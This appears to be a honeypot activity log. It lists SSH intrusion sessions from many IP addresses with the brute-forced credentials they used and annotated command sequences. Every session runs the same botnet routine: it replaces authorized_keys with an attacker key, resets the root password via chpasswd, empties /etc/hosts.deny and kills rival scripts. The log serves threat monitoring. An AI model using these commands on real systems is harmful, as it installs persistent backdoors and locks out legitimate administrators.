$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 tiger_root_5 (182.71.135.110) — Bengaluru, India · 1 session · 19 cmds

2026-07-04 02:57 EDT · as root/1Qaz2wsx@

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:Ol1UqWYJokPB"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_38 (45.196.236.141) — Hong Kong, Hong Kong · 2 sessions · 38 cmds

2026-07-03 23:46 EDT · as root/p@ssw0rd123, root/passw0rd@123

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:2bjHEBV1ngrA"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:IwxvJVCobtxB"|chpasswd|bash

🎭 frost_root_4 (95.24.34.245) — Moscow, Russia · 2 sessions · 38 cmds

2026-07-03 23:31 EDT · as root/p@ssw0rd123, root/passw0rd@123

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:uJN7IH9X2sq4"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:kIJayBcxaNrg"|chpasswd|bash

🎭 pretzel_root_12 (178.104.108.237) — Nuremberg, Germany · 1 session · 20 cmds

2026-07-03 23:34 EDT · as minecraft/Pa$$w0rd

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Pa$$w0rd\nTjYyNJRmo0k1\nTjYyNJRmo0k1"|passwd|bash

$ Enter new UNIX password:

$ echo "Pa$$w0rd\nTjYyNJRmo0k1\nTjYyNJRmo0k1\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 wraith_root_33 (91.239.206.123) — Tbilisi, Georgia · 2 sessions · 38 cmds

2026-07-03 23:31 EDT · as root/p@ssw0rd123, root/passw0rd@123

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:McX9Es7kWDJY"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:UeUUyedv04Nl"|chpasswd|bash

🎭 wraith_root_34 (187.170.65.227) — Cuauhtémoc, Mexico · 1 session · 19 cmds

2026-07-03 23:25 EDT · as root/passw0rd@123

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:lxDP4ATRlTnR"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_6 (108.174.156.122) — Cota, Colombia · 1 session · 19 cmds

2026-07-03 23:01 EDT · as root/Xo123456

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:dvsVzOE0jDTe"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_32 (103.13.207.166) — Singapore, Singapore · 2 sessions · 38 cmds

2026-07-03 22:22 EDT · as root/Qaz123456@, root/asdf!@#$

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:hdRuCslzbf40"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:Q0lJQ567UzhL"|chpasswd|bash

🎭 blitz_root_5 (165.227.159.13) — Frankfurt am Main, Germany · 1 session · 19 cmds

2026-07-03 22:30 EDT · as root/Qaz123456@

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:dwufPXATaFel"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 shadow_root_33 (190.112.222.28) — San Pedro, Costa Rica · 2 sessions · 38 cmds

2026-07-03 22:17 EDT · as root/Qaz123456@, root/asdf!@#$

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:XURciLn6Qydd"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:YFFfwetBCGz6"|chpasswd|bash

🎭 dragon_root_12 (182.44.116.87) — Jinan, China · 1 session · 19 cmds

2026-07-03 22:06 EDT · as root/Root123?

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:kEDerI5Yii5Y"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ramen_root_5 (103.53.81.152) — Tokyo, Japan · 3 sessions · 57 cmds

2026-07-03 21:06 EDT · as root/Password@11, root/marlboro, root/qwe123!!

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo "root:K1iiYTQYE037"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×3 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:IrPkXeItbaXF"|chpasswd|bash

$ echo "root:nJywuiX37aVI"|chpasswd|bash

🎭 phantom_root_39 (160.22.171.138) — Go Vap, Vietnam · 3 sessions · 58 cmds

2026-07-03 21:11 EDT · as root/Password@11, root/marlboro, testadmin/testadmin@123

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo "root:j9RLKT8f9UDc"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:5rwN2Bgm2TJb"|chpasswd|bash

$ echo -e "testadmin@123\niuWqnfpaD4je\niuWqnfpaD4je"|passwd|bash

$ Enter new UNIX password:

$ echo "testadmin@123\niuWqnfpaD4je\niuWqnfpaD4je\n"|passwd

🎭 shadow_root_34 (181.188.237.218) — Latacunga, Ecuador · 3 sessions · 57 cmds

2026-07-03 21:02 EDT · as root/Password@11, root/marlboro, root/qwe123!!

hostname discovery

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo "root:jyKyOEYsh99z"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×3 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:potRPWG8B0fG"|chpasswd|bash

$ echo "root:FvUpkJ4xjGP6"|chpasswd|bash

